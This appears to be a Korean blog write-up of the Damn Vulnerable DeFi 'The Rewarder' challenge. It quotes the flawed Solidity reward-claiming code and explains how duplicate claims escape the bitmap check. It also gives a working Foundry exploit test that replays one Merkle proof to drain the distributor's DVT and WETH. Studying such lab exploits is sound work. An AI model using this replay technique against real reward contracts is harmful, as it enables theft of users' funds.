lifetime 100su
The Rewarder 본문
A contract is distributing rewards of Damn Valuable Tokens and WETH.
To claim rewards, users must prove they’re included in the chosen set of beneficiaries. Don’t worry about gas though. The contract has been optimized and allows claiming multiple tokens in the same transaction.
Alice has claimed her rewards already. You can claim yours too! But you’ve realized there’s a critical vulnerability in the contract.
Save as much funds as you can from the distributor. Transfer all recovered assets to the designated recovery account.
보상 수령하는 컨트랙트에 취약점을 통해 token을 탈취해서 recovery로 보내면 된다.
function claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens) external {
Claim memory inputClaim;
IERC20 token;
uint256 bitsSet; // accumulator
uint256 amount;
for (uint256 i = 0; i < inputClaims.length; i++) {
inputClaim = inputClaims[i];
uint256 wordPosition = inputClaim.batchNumber / 256;
uint256 bitPosition = inputClaim.batchNumber % 256;
if (token != inputTokens[inputClaim.tokenIndex]) {
if (address(token) != address(0)) {
if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
}
token = inputTokens[inputClaim.tokenIndex];
bitsSet = 1 << bitPosition; // set bit at given position
amount = inputClaim.amount;
}
else {
bitsSet = bitsSet | 1 << bitPosition;
amount += inputClaim.amount;
}
// for the last claim
if (i == inputClaims.length - 1) {
if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
}
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, inputClaim.amount));
bytes32 root = distributions[token].roots[inputClaim.batchNumber];
if (!MerkleProof.verify(inputClaim.proof, root, leaf)) revert InvalidProof();
inputTokens[inputClaim.tokenIndex].transfer(msg.sender, inputClaim.amount);
}
}
사용자로부터 전달된 여러 개의 claim을 하나씩 처리하며 사용자의 claim에 대한 기록은 비트맵으로 저장
- batchNumber == 0 → wordPosition = 0, bitPosition = 0
- batchNumber == 255 → wordPosition = 0, bitPosition = 255
- batchNumber == 256 → wordPosition = 1, bitPosition = 0
batchNumber가 같으면 wordPosition, bitPosition도 같다
이를 이용해서 _setClaimed 함수에서 중복 claim 여부를 확인
function _setClaimed(IERC20 token, uint256 amount, uint256 wordPosition, uint256 newBits) private returns (bool) {
uint256 currentWord = distributions[token].claims[msg.sender][wordPosition];
if ((currentWord & newBits) != 0) return false;
// update state
distributions[token].claims[msg.sender][wordPosition] = currentWord | newBits;
distributions[token].remaining -= amount;
return true;
}
루프 중 이전 클레임의 토큰과 현재 클레임의 토큰이 다를 경우
→ _setClaimed를 호출해 이전 토큰에 대한 claim 기록 및 distributions[token].remaining 갱신
같은 토큰에 대한 연속된 클레임의 경우
→ 루프 마지막 한 번만 _setClaimed가 호출되어 해당 토큰의 claim 기록 및 distributions[token].remaining 갱신
문제는 Merkle proof 검증이 msg.sender + amount만을 기준으로 이루어진다는 점인데 같은 사용자가 같은 금액을 여러 번 claim 해도 검증을 계속 통과하게 됨
결과적으로 batchNumber, amount, proof를 반복 사용해도 distributions[token].remaining이 0이 될 때까지 claim 할 수 있음.
PoC

player 주소에 대한 index랑 amount를 직접 찾아야한다
import json
data = [
{
"address": "0x230abc2a7763e0169b38fbc7d48a5aa7b6245011",
"amount": 4665241241345036
},
...
{
"address": "0x44E97aF4418b7a17AABD8090bEA0A471a366305C",
"amount": 11524763827831882
}
]
addr = "0x44E97aF4418b7a17AABD8090bEA0A471a366305C".lower()
index = next((i for i, entry in enumerate(data) if entry["address"].lower() == addr), -1)
print(index)
function test_theRewarder() public checkSolvedByPlayer {
uint wethAmount=1171088749244340;
uint dvtAmount=11524763827831882;
uint totaldvt =TOTAL_DVT_DISTRIBUTION_AMOUNT - ALICE_DVT_CLAIM_AMOUNT;
uint totalweth=TOTAL_WETH_DISTRIBUTION_AMOUNT - ALICE_WETH_CLAIM_AMOUNT;
uint wethcount = totalweth / wethAmount;
uint dvtcount = totaldvt / dvtAmount;
bytes32[] memory dvtLeaves = _loadRewards("/test/the-rewarder/dvt-distribution.json");
bytes32[] memory wethLeaves = _loadRewards("/test/the-rewarder/weth-distribution.json");
Claim[] memory claims = new Claim[](wethcount+dvtcount);
for(uint i=0; i<dvtcount; i++){
claims[i] = Claim({
batchNumber: 0,
amount: dvtAmount,
tokenIndex: 0,
proof: merkle.getProof(dvtLeaves, 188)
});
}
for(uint i =0; i<wethcount; i++){
claims[dvtcount+i] = Claim({
batchNumber: 0,
amount: wethAmount,
tokenIndex: 1,
proof: merkle.getProof(wethLeaves, 188)
});
}
IERC20[] memory tokensToClaim = new IERC20[](2);
tokensToClaim[0] = IERC20(address(dvt));
tokensToClaim[1] = IERC20(address(weth));
distributor.claimRewards({inputClaims: claims, inputTokens: tokensToClaim});
dvt.transfer(recovery,dvt.balanceOf(address(player)));
weth.transfer(recovery,weth.balanceOf(address(player)));
}
'wargame > damn vulnerable defi' 카테고리의 다른 글
| Compromised (0) | 2026.01.18 |
|---|---|
| Selfie (0) | 2026.01.18 |
| Side Entrance (0) | 2025.05.02 |
| Truster (0) | 2025.05.02 |
| Naive Receiver (0) | 2025.05.02 |